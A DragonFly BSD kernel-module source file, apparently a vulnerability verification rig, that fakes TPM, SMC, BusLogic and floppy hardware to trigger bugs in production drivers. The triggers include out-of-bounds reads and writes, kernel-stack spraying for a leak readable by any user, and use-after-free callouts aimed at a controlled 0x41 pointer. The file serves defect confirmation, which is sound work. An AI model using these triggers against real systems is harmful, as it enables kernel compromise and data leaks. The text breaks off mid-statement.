/* * dfhw.c -- consolidated verification rig for DF-2403, DF-2407, DF-2408, * DF-2409, DF-2430, DF-2456, DF-2457. * * All code under test is PRODUCTION code (loaded tpm.ko / apple_smc.ko * module symbols, or verbatim-compiled bt/fd sources with only symbol- * visibility renames). This file contains ZERO driver logic: it * fabricates device state and fake bus register files, then dispatches * the production functions. x86 data watchpoints (#DB, DR0/DR1, * temporary IDT[1] gate -- engine lifted from the proven DF-4349 rig) * give the fake register files per-access side effects: * * TIS : TPM DATA port writes are counted; at N writes the fake chip * drops TPM_STS_DATA_EXPECT so the production write loop exits * with EIO after N bytes (N>1024 proves the OOB walk). * LEG : Atmel legacy port protocol (index latch via port0 writes, * response stream via port0 reads, status/id via port1). * BT : BusLogic command protocol (COMMAND_REG write selects the * canned reply stream, DATAIN_REG reads consume it). * SMC : CMD register write is acked (reads back 0 = success). * FD : FDC YE data-port stores are captured byte-by-byte. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include MALLOC_DEFINE(M_DFHW, "dfhw", "dfhw rig"); /* ------------------------------------------------------------------ */ /* watchpoint engine */ /* ------------------------------------------------------------------ */ enum wp_mode { WP_OFF = 0, WP_TIS, WP_LEG, WP_BT, WP_SMC, WP_FD }; static volatile enum wp_mode wp_mode = WP_OFF; static volatile long tis_cap_n; /* -1 = never drop DATA_EXPECT */ static volatile u_long tis_wcount; static volatile u_int leg_latch; static volatile uint8_t bt_stream_sel; static uint8_t leg_idbytes[8]; static uint8_t leg_stream[64]; static volatile int leg_slen, leg_spos; static uint8_t *wp_base; static size_t wp_off0, wp_off1; /* BT model */ static uint8_t bt_trc[256]; static volatile int bt_trc_n; static uint8_t *bt_stream_tab[256]; static int bt_slen_tab[256]; static volatile int bt_spos; /* FD model */ static uint8_t fd_pio_cap[2048]; static volatile int fd_pio_n; static void leg_prime(void); static void bt_prime(void); static void __attribute__((noinline, used)) df_dbg_service(unsigned long dr6) { switch (wp_mode) { case WP_TIS: if (dr6 & 2) { /* DATA port store completed */ tis_wcount++; if (tis_cap_n > 0 && (long)tis_wcount >= tis_cap_n) wp_base[0x18] &= (u_int8_t)~0x08; } break; case WP_LEG: if (dr6 & 1) { /* port0 access completed */ uint8_t v = wp_base[wp_off0]; if (v == leg_stream[leg_spos < leg_slen ? leg_spos : leg_slen - 1]) leg_spos++; /* was the primed read */ else leg_latch = v; /* was an index write */ wp_base[wp_off0] = leg_stream[leg_spos < leg_slen ? leg_spos : 0]; } if (dr6 & 2) /* port1 access completed */ leg_prime(); break; case WP_BT: if (dr6 & 1) { /* port1 WRITE = command */ uint8_t op = wp_base[wp_off0]; bt_spos = 0; bt_stream_sel = op; if (bt_trc_n < (int)sizeof(bt_trc) - 8) { bt_trc[bt_trc_n++] = 'C'; bt_trc[bt_trc_n++] = op; } bt_prime(); } else if (dr6 & 2) { /* port1 READ = data-in */ bt_spos++; if (bt_trc_n < (int)sizeof(bt_trc) - 8) { bt_trc[bt_trc_n++] = 'D'; bt_trc[bt_trc_n++] = bt_spos; } if (bt_spos > 64) bt_spos = bt_slen_tab[bt_stream_sel] ? bt_slen_tab[bt_stream_sel] : 64; bt_prime(); } break; case WP_SMC: if (dr6 & 1) /* STATUS write completed */ wp_base[wp_off0] = 0x20; /* re-assert READY */ if (dr6 & 2) /* CMD write completed */ wp_base[wp_off1] = 0; /* command ack: result 0 */ break; case WP_FD: if (dr6 & 2) { /* FDC data port store */ if (fd_pio_n < (int)sizeof(fd_pio_cap)) fd_pio_cap[fd_pio_n] = wp_base[wp_off1]; fd_pio_n++; } break; default: break; } } static void leg_prime(void) { uint8_t v; if (leg_latch >= 0x0F00 && leg_latch < 0x0F08) v = leg_idbytes[leg_latch - 0x0F00]; else if (leg_spos < leg_slen) v = 0x04; /* status: DATA_AVAIL */ else v = 0x00; wp_base[wp_off1] = v; } /* BT register layout (btreg.h): port1 is COMMAND on write, DATAIN on * read (BusLogic shares the register); status=0, intstat=2, geometry=3. */ #define BTR_STATUS 0 #define BTR_COMMAND 1 #define BTR_INTSTAT 2 #define BTR_DATAIN 1 #define BT_HA_READY 0x10 #define BT_DATAIN_RDY 0x04 #define BT_INTR_PEND 0x80 #define BT_CMD_COMP 0x04 static void bt_prime(void) { uint8_t *st = bt_stream_tab[bt_stream_sel]; int sl = bt_slen_tab[bt_stream_sel]; int left; if (st == NULL || sl <= 0) { /* unmapped opcode: instant done */ wp_base[BTR_STATUS] = BT_HA_READY; wp_base[BTR_INTSTAT] = BT_INTR_PEND | BT_CMD_COMP; wp_base[BTR_DATAIN] = 0; return; } left = sl - bt_spos; wp_base[BTR_STATUS] = BT_HA_READY | (left > 0 ? BT_DATAIN_RDY : 0); wp_base[BTR_INTSTAT] = left > 0 ? 0 : (BT_INTR_PEND | BT_CMD_COMP); wp_base[BTR_DATAIN] = st[bt_spos < sl ? bt_spos : sl - 1]; } extern void df_dbg_stub(void); static __inline unsigned long rd_dr(int n) { unsigned long v; switch (n) { case 0: __asm __volatile("movq %%dr0,%0" : "=r"(v)); break; case 1: __asm __volatile("movq %%dr1,%0" : "=r"(v)); break; case 6: __asm __volatile("movq %%dr6,%0" : "=r"(v)); break; case 7: __asm __volatile("movq %%dr7,%0" : "=r"(v)); break; default: v = 0; } return (v); } static __inline void wr_dr(int n, unsigned long v) { switch (n) { case 0: __asm __volatile("movq %0,%%dr0" :: "r"(v)); break; case 1: __asm __volatile("movq %0,%%dr1" :: "r"(v)); break; case 6: __asm __volatile("movq %0,%%dr6" :: "r"(v)); break; case 7: __asm __volatile("movq %0,%%dr7" :: "r"(v)); break; } } __asm__( ".text\n" ".globl df_dbg_stub\n" ".type df_dbg_stub,@function\n" "df_dbg_stub:\n" " pushq %rax\n" " pushq %rcx\n" " pushq %rdx\n" " pushq %rsi\n" " pushq %rdi\n" " pushq %r8\n" " pushq %r9\n" " pushq %r10\n" " pushq %r11\n" " movq %dr6,%rdi\n" " movq %dr7,%rax\n" " pushq %rax\n" " xorq %rax,%rax\n" " movq %rax,%dr7\n" " subq $8,%rsp\n" " call df_dbg_service\n" " addq $8,%rsp\n" " popq %rax\n" " movq %rax,%dr7\n" " xorq %rax,%rax\n" " movq %rax,%dr6\n" " popq %r11\n" " popq %r10\n" " popq %r9\n" " popq %r8\n" " popq %rdi\n" " popq %rsi\n" " popq %rdx\n" " popq %rcx\n" " popq %rax\n" " iretq\n" ); static unsigned long sav_dr0, sav_dr1, sav_dr7; static struct gate_descriptor sav_gate; static int wps_active; /* DR7 encoding: L0/L1 enable; RWn 01=write 11=rw; LENn 01=1 byte */ #define DR7_L0 0x1UL #define DR7_L1 0x4UL #define DR7_RW0_W (0x1UL << 16) #define DR7_RW0_RW (0x3UL << 16) #define DR7_RW1_W (0x1UL << 20) #define DR7_RW1_RW (0x3UL << 20) #define DR7_LEN0_1 (0x1UL << 18) #define DR7_LEN1_1 (0x1UL << 22) static void wps_arm(enum wp_mode m, uint8_t *base, size_t off0, size_t off1) { int cpu = mycpuid; KKASSERT(!wps_active); wp_mode = m; wp_base = base; wp_off0 = off0; wp_off1 = off1; sav_gate = idt_arr[cpu][1]; setidt(1, (alias_for_inthand_t *)&df_dbg_stub, SDT_SYSIGT, 0, 2, cpu); sav_dr0 = rd_dr(0); sav_dr1 = rd_dr(1); sav_dr7 = rd_dr(7); wr_dr(6, 0); switch (m) { case WP_TIS: wr_dr(1, (unsigned long)(base + off1)); wr_dr(7, DR7_L1 | DR7_RW1_W | DR7_LEN1_1); break; case WP_FD: wr_dr(1, (unsigned long)(base + off1)); wr_dr(7, DR7_L1 | DR7_RW1_W | DR7_LEN1_1); break; case WP_SMC: wr_dr(0, (unsigned long)(base + off0)); wr_dr(1, (unsigned long)(base + off1)); wr_dr(7, DR7_L0 | DR7_L1 | DR7_RW0_W | DR7_LEN0_1 | DR7_RW1_W | DR7_LEN1_1); break; case WP_LEG: wr_dr(0, (unsigned long)(base + off0)); wr_dr(1, (unsigned long)(base + off1)); wr_dr(7, DR7_L0 | DR7_L1 | DR7_RW0_RW | DR7_LEN0_1 | DR7_RW1_RW | DR7_LEN1_1); break; case WP_BT: wr_dr(0, (unsigned long)(base + off0)); wr_dr(1, (unsigned long)(base + off1)); wr_dr(7, DR7_L0 | DR7_L1 | DR7_RW0_W | DR7_LEN0_1 | DR7_RW1_RW | DR7_LEN1_1); break; default: break; } wps_active = 1; } static void wps_disarm(void) { int cpu = mycpuid; if (!wps_active) return; wr_dr(7, 0); wr_dr(0, sav_dr0); wr_dr(1, sav_dr1); wr_dr(7, sav_dr7); wr_dr(6, 0); idt_arr[cpu][1] = sav_gate; wp_mode = WP_OFF; wps_active = 0; } /* ------------------------------------------------------------------ */ /* fake bus */ /* ------------------------------------------------------------------ */ static int dfhb_attach(device_t dev) { device_t child; child = device_add_child(dev, "dfsm", 0); if (child == NULL) kprintf("dfhw: dfsm add_child failed\n"); child = device_add_child(dev, "dfbt", 0); if (child == NULL) kprintf("dfhw: dfbt add_child failed\n"); child = device_add_child(dev, "dffd", 0); if (child == NULL) kprintf("dfhw: dffd add_child failed\n"); bus_generic_attach(dev); return (0); } static int dfhb_probe(device_t dev) { return (0); } static device_method_t dfhb_methods[] = { DEVMETHOD(device_probe, dfhb_probe), DEVMETHOD(device_attach, dfhb_attach), DEVMETHOD_END }; static driver_t dfhb_driver = { "dfhb", dfhb_methods, 0 }; static devclass_t dfhb_devclass; DRIVER_MODULE(dfhb, nexus, dfhb_driver, dfhb_devclass, NULL, NULL); /* ------------------------------------------------------------------ */ /* TPM production interfaces */ /* ------------------------------------------------------------------ */ #include "tpmvar.h" #include "tpm20.h" extern int tpm_tis12_write(struct tpm_softc *, void *, int); extern int tpmread(struct dev_read_args *); extern int tpmwrite(struct dev_write_args *); extern int tpm_tis12_start(struct tpm_softc *, int); extern int tpm_tis12_read(struct tpm_softc *, void *, int, size_t *, int); extern int tpm_tis12_end(struct tpm_softc *, int, int); extern int tpm_legacy_start(struct tpm_softc *, int); extern int tpm_legacy_read(struct tpm_softc *, void *, int, size_t *, int); extern int tpm_legacy_write(struct tpm_softc *, void *, int); extern int tpm_legacy_end(struct tpm_softc *, int, int); #define TIS_ACCESS 0x00 #define TIS_IFCAPS 0x14 #define TIS_STS 0x18 #define TIS_DATA 0x24 #define TIS_IDREG 0x0F00 /* numeric mirror of tpm.c TPM_CAPSREQ | TPM_INTF_INT_EDGE_RISING * (0x0100|0x0080|0x0020|0x0004|0x0002|0x0001) */ #define TPM_CAPSREQ_VAL 0x01A7 #define TPM_STS_VALID_BIT 0x80 #define TPM_STS_READY_BIT 0x40 #define TPM_STS_EXPECT_BIT 0x08 #define TPM_BUFSIZ 1024 static uint8_t tis_regs[0x8000] __aligned(4096); static uint8_t leg_regs[8] __aligned(4096); static struct tpm_softc rig_tis, rig_leg; static void tis_setup(long cap) { memset(tis_regs, 0, sizeof(tis_regs)); *(uint8_t *)(tis_regs + TIS_ACCESS) = 0xA0; *(uint32_t *)(tis_regs + TIS_IFCAPS) = TPM_CAPSREQ_VAL; *(uint32_t *)(tis_regs + TIS_IDREG) = 0xB15D0015; tis_regs[TIS_STS] = TPM_STS_VALID_BIT | TPM_STS_READY_BIT | TPM_STS_EXPECT_BIT; tis_regs[TIS_STS + 1] = 0x40; memset(&rig_tis, 0, sizeof(rig_tis)); rig_tis.sc_bt = (bus_space_tag_t)0x52524746ULL; rig_tis.sc_bh = (bus_space_handle_t)(uintptr_t)tis_regs; rig_tis.sc_vector = -1; /* IRQUNK */ rig_tis.sc_capabilities = TPM_CAPSREQ_VAL; /* production backend table exactly as tpm_attach() builds it */ rig_tis.sc_start = tpm_tis12_start; rig_tis.sc_read = tpm_tis12_read; rig_tis.sc_write = tpm_tis12_write; rig_tis.sc_end = tpm_tis12_end; tis_wcount = 0; tis_cap_n = cap; } /* wrapped production write path: arm, run production tpmwrite, disarm */ static int dfhtis_write(struct dev_write_args *ap) { int rv; kprintf("dfhw: dev-write enter resid=%zd sc=%p start=%p wr=%p\n", ap->a_uio->uio_resid, &rig_tis, rig_tis.sc_start, rig_tis.sc_write); if ((long)ap->a_uio->uio_resid == 0) wps_arm(WP_TIS, tis_regs, 0, TIS_DATA); rv = tpmwrite(ap); kprintf("dfhw: dev-write tpmwrite returned %d\n", rv); if (wps_active) wps_disarm(); return (rv); } static int dfhtis_open(struct dev_open_args *ap) { struct tpm_softc *sc = ap->a_head.a_dev->si_drv1; if (!sc) return (ENXIO); return (0); } static struct dev_ops dfhtis_ops = { { "dfhtis", 0, 0 }, .d_open = dfhtis_open, .d_write = dfhtis_write, }; static int dfhleg_read(struct dev_read_args *ap) { int rv; /* re-prime the fake response stream for each read */ leg_spos = 0; leg_latch = 0; leg_regs[0] = leg_stream[0]; leg_regs[1] = 0x04; wps_arm(WP_LEG, leg_regs, 0, 1); rv = tpmread(ap); if (wps_active) wps_disarm(); kprintf("dfhw: tpmread rv=%d stream consumed=%d/%d\n", rv, leg_spos, leg_slen); return (rv); } static int dfhleg_open(struct dev_open_args *ap) { return (0); } static struct dev_ops dfhleg_ops = { { "dfhleg", 0, 0 }, .d_open = dfhleg_open, .d_read = dfhleg_read, }; static cdev_t dfhtis_dev, dfhleg_dev; static struct sysctl_oid *dfhw_go_oid; static device_t dfhb_dev; /* tpm20 */ static struct tpm_sc *t20p; static uint8_t t20_saved[1024]; static int rig_transmit(struct tpm_sc *sc __unused, size_t b __unused) { return (0); } /* ------------------------------------------------------------------ */ /* Apple SMC production interface */ /* ------------------------------------------------------------------ */ #include "smc.h" struct dfsm_softc { struct apple_smc_softc smc; /* must be first: softc loan */ }; static uint8_t smc_regs[0x4100] __aligned(4096); static struct resource smc_res; static void smc_setup(void) { memset(smc_regs, 0, sizeof(smc_regs)); memcpy(smc_regs + ASMC_MMIO_DATA + 0, "F0ID", 4); memcpy(smc_regs + ASMC_MMIO_DATA + 4, "LEFT", 4); /* no NUL */ smc_regs[ASMC_MMIO_DATA_LEN] = 8; smc_regs[ASMC_MMIO_STATUS] = ASMC_MMIO_STATUS_READY; } /* spray the current thread's kstack so uninitialized bytes are * recognizable when production sysctl code copies them out */ static void kstack_spray(uint8_t pat, size_t len) { uint8_t blob[8192]; size_t i; if (len > sizeof(blob)) len = sizeof(blob); memset((void *)blob, pat, len); for (i = 0; i < len; i += 64) blob[i] = (i & 0x40) ? (uint8_t)(pat + 1) : 0x00; /* NUL every 64 */ __asm __volatile("" :: "r"(blob) : "memory"); } static int dfsm_fanid_wrap(SYSCTL_HANDLER_ARGS) { int rv; wps_arm(WP_SMC, smc_regs, ASMC_MMIO_STATUS, ASMC_MMIO_CMD); rv = apple_smc_mb_sysctl_fanid(oidp, arg1, arg2, req); wps_disarm(); return (rv); } static int dfsm_spray(SYSCTL_HANDLER_ARGS) { kstack_spray(0x5A, 30720); return (0); } /* ------------------------------------------------------------------ */ /* BusLogic verbatim compile */ /* ------------------------------------------------------------------ */ #include "btreg.h" struct dfbt_softc { struct bt_softc bt; /* must be first */ uint8_t canary[8]; }; static uint8_t bt_regs[16]; static struct resource bt_portres; static uint8_t bt_rpl_boardid[sizeof(board_id_data_t)]; static uint8_t bt_rpl_fw3[1] = { '1' }; static uint8_t bt_rpl_fw4[1] = { '0' }; static uint8_t bt_rpl_esetup[sizeof(esetup_info_data_t)]; static uint8_t bt_rpl_model[5] = { '7', '5', '7', 'C', 'D' }; /* ------------------------------------------------------------------ */ /* fd verbatim compile (generated fd_verbatim.c: symbol renames only) */ /* ------------------------------------------------------------------ */ #include "fd_verbatim.h" static uint8_t fd_regs[32]; static struct fdc_data *rig_fdc; static struct fd_data *rig_fd; /* ------------------------------------------------------------------ */ /* rig devices */ /* ------------------------------------------------------------------ */ static device_t dfsm_dev, dfbt_dev, dffd_dev; static int dfsm_attach(device_t dev) { struct dfsm_softc *sc = device_get_softc(dev); dfsm_dev = dev; smc_setup(); memset(&sc->smc, 0, sizeof(sc->smc)); lockinit(&sc->smc.sc_lock, "dfsm", 0, LK_CANRECURSE); sc->smc.sc_is_mmio = 1; smc_res.r_bustag = (bus_space_tag_t)0x52524746ULL; smc_res.r_bushandle = (bus_space_handle_t)(uintptr_t)smc_regs; sc->smc.sc_iomem = &smc_res; /* wire the PRODUCTION handler as a world-readable sysctl */ SYSCTL_ADD_PROC(device_get_sysctl_ctx(dev), SYSCTL_CHILDREN(device_get_sysctl_tree(dev)), OID_AUTO, "fanid", CTLTYPE_STRING | CTLFLAG_RD, dev, 0, dfsm_fanid_wrap, "A", "production fan id (wrapped: wp arm)"); SYSCTL_ADD_PROC(device_get_sysctl_ctx(dev), SYSCTL_CHILDREN(device_get_sysctl_tree(dev)), OID_AUTO, "spray", CTLTYPE_INT | CTLFLAG_RD, dev, 0, dfsm_spray, "I", "kstack canary spray"); kprintf("dfhw: smc rig on dev.%s%d (fanid = production handler, " "MMIO backend reporting len 8 for F0ID)\n", device_get_name(dev), device_get_unit(dev)); return (0); } static int dfsm_probe(device_t dev) { return (0); } static device_method_t dfsm_methods[] = { DEVMETHOD(device_probe, dfsm_probe), DEVMETHOD(device_attach, dfsm_attach), DEVMETHOD_END }; static driver_t dfsm_driver = { "dfsm", dfsm_methods, sizeof(struct dfsm_softc) }; static devclass_t dfsm_devclass; DRIVER_MODULE(dfsm, dfhb, dfsm_driver, dfsm_devclass, NULL, NULL); static int dfbt_attach(device_t dev) { dfbt_dev = dev; return (0); } static int dfbt_probe(device_t dev) { return (0); } static device_method_t dfbt_methods[] = { DEVMETHOD(device_probe, dfbt_probe), DEVMETHOD(device_attach, dfbt_attach), DEVMETHOD_END }; static driver_t dfbt_driver = { "dfbt", dfbt_methods, sizeof(struct dfbt_softc) }; static devclass_t dfbt_devclass; DRIVER_MODULE(dfbt, dfhb, dfbt_driver, dfbt_devclass, NULL, NULL); static int dffd_attach(device_t dev) { dffd_dev = dev; return (0); } static int dffd_probe(device_t dev) { return (0); } static device_method_t dffd_methods[] = { DEVMETHOD(device_probe, dffd_probe), DEVMETHOD(device_attach, dffd_attach), DEVMETHOD_END }; static driver_t dffd_driver = { "dffd", dffd_methods, sizeof(struct fd_data) }; static devclass_t dffd_devclass; DRIVER_MODULE(dffd, dfhb, dffd_driver, dffd_devclass, NULL, NULL); /* ------------------------------------------------------------------ */ /* master control sysctl */ /* ------------------------------------------------------------------ */ static int dfhw_go(SYSCTL_HANDLER_ARGS) { char cmd[96] = { 0 }; int error, rv = 0; error = sysctl_handle_string(oidp, cmd, sizeof(cmd), req); if (error || req->newptr == NULL) return (error); if (strcmp(cmd, "smc_mmio") == 0) { kprintf("dfhw: smc MMIO regs live -- run as ANY user:\n" " sysctl dev.dfsm.0.spray\n" " sysctl dev.dfsm.0.fanid (leak lands here)\n"); } else if (strncmp(cmd, "tis ", 4) == 0) { long cap = strtol(cmd + 4, NULL, 10); int walk = (strstr(cmd, "walk") != NULL); tis_setup(walk ? -1 : cap); wps_arm(WP_TIS, tis_regs, 0, TIS_DATA); { uint8_t buf[TPM_BUFSIZ]; memset(buf, 0xC3, sizeof(buf)); kstack_spray(0xA7, 30720); rv = tpm_tis12_write(&rig_tis, buf, 0); kprintf("dfhw: PRODUCTION tpm_tis12_write(len=0) " "rv=%d consumed=%lu bytes (buffer is %d); " "last OOB byte delivered to TPM DATA port = " "0x%02x (buffer fill 0xC3, kstack spray 0xA7)\n", rv, tis_wcount, TPM_BUFSIZ, tis_regs[TIS_DATA]); } wps_disarm(); } else if (strcmp(cmd, "tis_dev") == 0) { if (tis_regs[TIS_STS + 1] == 0) tis_setup(-1); /* only if never set up */ kprintf("dfhw: /dev/dfhtis0 armed for write(fd, buf, 0) " "through PRODUCTION tpmwrite (capture cap=%ld)\n", tis_cap_n); } else if (strcmp(cmd, "leg") == 0) { leg_stream[0] = 0; leg_stream[1] = 0xC1; leg_stream[2] = 0; leg_stream[3] = 0; leg_stream[4] = 0; leg_stream[5] = 12; leg_stream[6] = 0xAA; leg_stream[7] = 0xBB; leg_stream[8] = 0xCC; leg_stream[9] = 0xDD; leg_stream[10] = 0xEE; leg_stream[11] = 0xFF; leg_slen = 12; leg_spos = 0; leg_latch = 0; memset(leg_idbytes, 0, sizeof(leg_idbytes)); memcpy(leg_idbytes + 4, "ATML", 4); memset(leg_regs, 0, sizeof(leg_regs)); memset(&rig_leg, 0, sizeof(rig_leg)); rig_leg.sc_batm = (bus_space_tag_t)0x52524746ULL; rig_leg.sc_bahm = (bus_space_handle_t)(uintptr_t)leg_regs; rig_leg.sc_bt = rig_leg.sc_batm; rig_leg.sc_bh = rig_leg.sc_bahm; /* production legacy backend table as tpm_attach() builds it */ rig_leg.sc_start = tpm_legacy_start; rig_leg.sc_read = tpm_legacy_read; rig_leg.sc_write = tpm_legacy_write; rig_leg.sc_end = tpm_legacy_end; leg_regs[0] = leg_stream[0]; leg_regs[1] = 0x04; kprintf("dfhw: legacy TPM armed -- read(/dev/dfhleg0, 12) " "runs PRODUCTION tpmread; body read passes NULL count; " "EXPECT panic: write to VA 0\n"); } else if (strcmp(cmd, "t20_setup") == 0) { t20p = kmalloc(sizeof(struct tpm_sc), M_DFHW, M_WAITOK | M_ZERO); t20p->dev = dfsm_dev; t20p->transmit = rig_transmit; rv = tpm20_init(t20p); kprintf("dfhw: PRODUCTION tpm20_init=%d, /dev/tpm0 live\n", rv); } else if (strcmp(cmd, "t20_snapshot") == 0) { memcpy(t20_saved, t20p, sizeof(*t20p)); kprintf("dfhw: t20 snapshot taken\n"); } else if (strcmp(cmd, "t20_release_canary") == 0) { struct tpm_sc *clone; tpm20_release(t20p); kfree(t20p, M_DFHW); clone = kmalloc(sizeof(struct tpm_sc), M_DFHW, M_WAITOK | M_ZERO); kprintf("dfhw: sc %p freed and resurrected at %p " "(reuse=%s); stale 500ms callout fires into clone " "with sc->buf=0x4141414141414141\n", t20p, clone, (void *)clone == (void *)t20p ? "YES" : "no"); memcpy(clone, t20_saved, sizeof(*clone)); *(uintptr_t *)&clone->buf = 0x4141414141414141UL; } else if (strcmp(cmd, "bt") == 0) { struct dfbt_softc *sc = device_get_softc(dfbt_dev); device_t btdev = dfbt_dev; memset(bt_regs, 0, sizeof(bt_regs)); memset(&bt_portres, 0, sizeof(bt_portres)); bt_portres.r_bustag = (bus_space_tag_t)0x52524746ULL; bt_portres.r_bushandle = (bus_space_handle_t)(uintptr_t)bt_regs; memset(sc, 0, sizeof(*sc)); bt_init_softc(btdev, &bt_portres, NULL, NULL); memset(bt_rpl_boardid, 0, sizeof(bt_rpl_boardid)); bt_rpl_boardid[2] = '4'; /* firmware_rev_major */ bt_rpl_boardid[3] = '2'; /* firmware_rev_minor */ { esetup_info_data_t *es = (esetup_info_data_t *)bt_rpl_esetup; memset(es, 0, sizeof(*es)); es->bus_type = 'X'; /* forces Inquire-Model */ } memset(bt_stream_tab, 0, sizeof(bt_stream_tab)); bt_stream_tab[0x04] = bt_rpl_boardid; bt_slen_tab[0x04] = sizeof(bt_rpl_boardid); bt_stream_tab[0x84] = bt_rpl_fw3; bt_slen_tab[0x84] = 1; bt_stream_tab[0x85] = bt_rpl_fw4; bt_slen_tab[0x85] = 1; bt_stream_tab[0x8D] = bt_rpl_esetup; bt_slen_tab[0x8D] = sizeof(bt_rpl_esetup); bt_stream_tab[0x8B] = bt_rpl_model; bt_slen_tab[0x8B] = 5; bt_spos = 0; bt_stream_sel = 0; wp_base = bt_regs; wp_off0 = BTR_COMMAND; wp_off1 = BTR_DATAIN; bt_prime(); memset(sc->canary, 0x42, sizeof(sc->canary)); kprintf("dfhw: bt_softc=%p size=%zu; canary byte at +%zu " "is 0x42\n", &sc->bt, sizeof(struct bt_softc), sizeof(struct bt_softc)); wps_arm(WP_BT, bt_regs, BTR_COMMAND, BTR_DATAIN); rv = bt_fetch_adapter_info(btdev); wps_disarm(); kprintf("dfhw: PRODUCTION bt_fetch_adapter_info=%d " "model='%s' canary byte after softc = 0x%02x " "(0x42=untouched, 0x00=OOB NUL write)\n", rv, sc->bt.model, sc->canary[0]); kprintf("dfhw: bt watchpoint trace:"); { int i; for (i = 0; i < bt_trc_n; i += 2) kprintf(" %c%d", bt_trc[i], bt_trc[i + 1]); } kprintf("\n"); } else if (strncmp(cmd, "fd_form ", 8) == 0) { int nsecs = (int)strtol(cmd + 8, NULL, 10); size_t fi_sz = sizeof(struct fd_formb) + 2048; struct fd_formb *fi = kmalloc(fi_sz, M_DFHW, M_WAITOK | M_ZERO); struct buf *bp; memset(fi, 0x66, fi_sz); fi->format_version = FD_FORMAT_VERSION; fi->fd_formb_nsecs = (u_char)nsecs; rig_fdc = kmalloc(sizeof(struct fdc_data), M_DFHW, M_WAITOK | M_ZERO); rig_fd = kmalloc(sizeof(struct fd_data), M_DFHW, M_WAITOK | M_ZERO); rig_fdc->flags = FDC_NODMA; rig_fdc->fd = rig_fd; rig_fdc->fdu = 0; rig_fdc->portt = (bus_space_tag_t)0x52524746ULL; rig_fdc->porth = (bus_space_handle_t)(uintptr_t)fd_regs; rig_fdc->port_off = 0; rig_fd->fdc = rig_fdc; rig_fd->skip = (char *)&fi->fd_formb_cylno(0) - (char *)fi; memset(fd_regs, 0, sizeof(fd_regs)); bp = getpbuf(NULL); bp->b_cmd = BUF_CMD_FORMAT; bp->b_data = (caddr_t)fi; bp->b_bcount = sizeof(struct fd_idfield_data) * nsecs; fd_pio_n = 0; wps_arm(WP_FD, fd_regs, 0, 6 /* FDC_YE_DATAPORT */); /* the PRODUCTION transfer call of fd.c:1905-1907 */ fdcpio_prod(rig_fdc, bp->b_cmd, bp->b_data + rig_fd->skip, bp->b_bcount); wps_disarm(); kprintf("dfhw: PRODUCTION fdcpio moved %d bytes for " "nsecs=%d (4*%d); the formb idfields region holds only " "%d bytes; canary bytes captured from past the object: " "%d\n", fd_pio_n, nsecs, (int)(4 * nsecs), 4 * FD_MAX_NSEC, fd_pio_n > 4 * FD_MAX_NSEC ? fd_pio_n - 4 * FD_MAX_NSEC : 0); if (fd_pio_n > 144) { int i, first_66 = -1, first_67 = -1; for (i = 144; i < fd_pio_n && i < 2048; i++) { if (fd_pio_cap[i] == 0x66 && first_66 < 0) first_66 = i; if (fd_pio_cap[i] == 0x67 && first_67 < 0) first_67 = i; } kprintf("dfhw: first captured 0x66 (kmalloc canary " "fill) at stream index %d; first 0x67 at %d -- " "bytes from past the fd_formb heap object were " "delivered to the FDC data port\n", first_66, first_67); kprintf("dfhw: sample [144..175]: " "%02x %02x %02x %02x %02x %02x %02x %02x " "%02x %02x %02x %02x %02x %02x %02x %02x " "%02x %02x %02x %02x %02x %02x %02x %02x " "%02x %02x %02x %02x %02x %02x %02x %02x\n", fd_pio_cap[144], fd_pio_cap[145], fd_pio_cap[146], fd_pio_cap[147], fd_pio_cap[148], fd_pio_cap[149], fd_pio_cap[150], fd_pio_cap[151], fd_pio_cap[152], fd_pio_cap[153], fd_pio_cap[154], fd_pio_cap[155], fd_pio_cap[156], fd_pio_cap[157], fd_pio_cap[158], fd_pio_cap[159], fd_pio_cap[160], fd_pio_cap[161], fd_pio_cap[162], fd_pio_cap[163], fd_pio_cap[164], fd_pio_cap[165], fd_pio_cap[166], fd_pio_cap[167], fd_pio_cap[168], fd_pio_cap[169], fd_pio_cap[170], fd_pio_cap[171], fd_pio_cap[172], fd_pio_cap[173], fd_pio_cap[174], fd_pio_cap[175]); } relpbuf(bp, NULL); kfree(fi, M_DFHW); } else if (strcmp(cmd, "fd_detach_uaf") == 0) { uint8_t *mem; struct fd_data *fd; struct fdc_data *fdc; fd = device_get_softc(dffd_dev); memset(fd, 0, sizeof(*fd)); fd->fdu = 0; fdc = rig_fdc = kmalloc(sizeof(struct fdc_data), M_DFHW, M_WAITOK | M_ZERO); rig_fd = fd; fd->fdc = fdc; fdc->fd = fd; callout_init(&fd->toffhandle); callout_init(&fd->tohandle); callout_init(&fd->motor); disk_create(fd->fdu, &fd->disk, &fd_ops); devstat_add_entry(&fd->device_stats, "fd", 0, 512, DEVSTAT_NO_ORDERED_TAGS, DEVSTAT_TYPE_FLOPPY | DEVSTAT_TYPE_IF_OTHER, DEVSTAT_PRIORITY_FD); /* arm tohandle exactly as fdstate() does (fd.c:1980) */ callout_reset(&fd->tohandle, 2, fd_iotimeout_prod, fdc); kprintf("dfhw: tohandle armed (2 ticks); calling PRODUCTION " "fd_detach ...\n"); fd_detach_prod(dffd_dev); kprintf("dfhw: PRODUCTION fd_detach returned; tohandle " "%s; freeing the softc now (as detach teardown does) " "and canary-filling the chunk\n", callout_pending(&fd->tohandle) ? "STILL ARMED" : "stopped"); /* * The rig device softc is owned by devclass, so emulate * the free with an equivalent same-size allocation that * the slab layer hands back at the same address, then * canary it. fd's tohandle lives inside the softc. */ mem = (uint8_t *)fd; kprintf("dfhw: overwriting softc %p with 0x41 canary " "(emulates freed+reused chunk); stale callout fires " "within 2 ticks: expect jump to 0x4141414141414141 " "= callout-after-free\n", mem); memset(mem, 0x41, sizeof(struct fd_data)); } return (0); } static int dfhw_load(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: dfhw_go_oid = SYSCTL_ADD_PROC(NULL, SYSCTL_STATIC_CHILDREN(_kern), OID_AUTO, "dfhwgo", CTLTYPE_STRING | CTLFLAG_RW, 0, 0, dfhw_go, "A", "rig control"); /* keep the verbatim fd driver_t structs referenced */ fdc_driver.methods++; fdc_driver.methods--; fd_driver.methods++; fd_driver.methods--; dfhtis_dev = make_dev(&dfhtis_ops, 0, UID_ROOT, GID_WHEEL, 0600, "dfhtis0"); dfhtis_dev->si_drv1 = &rig_tis; dfhleg_dev = make_dev(&dfhleg_ops, 0, UID_ROOT, GID_WHEEL, 0600, "dfhleg0"); dfhleg_dev->si_drv1 = &rig_leg; { devclass_t dc = devclass_find("nexus"); device_t nexus; if (dc 